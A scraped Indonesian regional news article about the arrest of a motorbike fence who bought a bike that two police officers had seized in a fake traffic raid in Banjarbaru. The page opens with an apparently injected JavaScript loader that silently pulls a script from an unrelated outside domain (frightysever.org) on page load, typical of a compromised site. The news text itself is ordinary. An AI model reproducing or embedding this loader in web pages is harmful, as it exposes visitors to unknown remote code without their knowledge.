(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Penadah Motor Hasil Rampasan Dua Oknum Polisi Ditangkap, Omen Ikut ke Penjara


KANALKALIMANTAN.COM, BANJARBARU – Laki-laki asal Kelayan Luar, Kecamatan Banjarmasin Tengah, Kota Banjarmasin, I (38) alias Omen ditangkap jajaran Unit Opsnal Reskrim (Macan Barbar) Polsek Liang Anggang.

Omen ditangkap karena menjadi penadah sepeda motor hasil rampasan dua oknum polisi modus razia kendaraan.

Kapolsek Liang Anggang, AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi mengatakan, penangkapan Omen ini, merupakan hasil pengembangan petugas kepolisian terkait penangkapan dua oknum polisi yang merampas sepeda motor dengan modus razia.

PS (41) alias Charles dan DEM (26), saat ini tengah menjalani proses hukum di Mapolresta Banjarmasin.

 

 

Baca juga: Dua Polisi Perampas Motor Modus Razia Pernah Beraksi di Banjarbaru

“Dalam menjalankan aksinya, keduanya menghentikan korban bersama kendaraannya di tengah jalan. Kedua oknum polisi itu berpura-pura merazia dan mengambil unit motor Suzuki Satria FU 150 dengan Nopol DA 4281 AS milik korban di Kecamatan Syamsudin Noor,” ujar Aipda Kardi Gunadi, Kamis (25/8/2022)

Dari laporan korban, Macan Barbar Polsek Liang Anggang yang dipimpin Katim Aiptu Deden A Lesmana melakukan interogasi terhadap kedua oknum polisi di Polresta Banjarmasin dan mendapati informasi motor tersebut digadaikan kepada Omen.

Kemudian Macan Barbar Polsek Liang Anggang melakukan pengejaran terhadap penadah motor korban dan berhasil menangkap di rumahnya.

Omen membayar gadai motor tersebut kepada PS dan DEM sebesar Rp 2 juta.

“Pelaku penadah ditangkap tanpa perlawanan di rumahnya. Dari penangkapan, turut diamankan sepeda motor milik korban yang melapor ke kami,” bebernya.

Selanjutnya pelaku beserta barang bukti diamankan ke Polsek Liang Anggang untuk dilakukan proses hukum lebih lanjut.

Baca juga: Laka Lantas di Atas Flyover Banjarmasin, Satu Orang Tergeletak Bersimbah Darah

Tertangkapnya pelaku, dirinya disangkakan Pasal 480 KUHP.

Dari hasi interogasi pelaku merupakan residivis tadah motor, hal ini terungkap dari pengakuan pelaku yang pernah diproses hukum perkara pasal 480 KUHP.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Kasus Korupsi di Dinsos HST, Kuasa Hukum Berencana Ajukan Praperadilan

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki asal Kabupaten Hulu Sungai Tengah (HST), MS (28) tersandung kasus… Read More

2 jam ago

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

13 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

15 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

17 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

17 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

18 jam ago

This website uses cookies.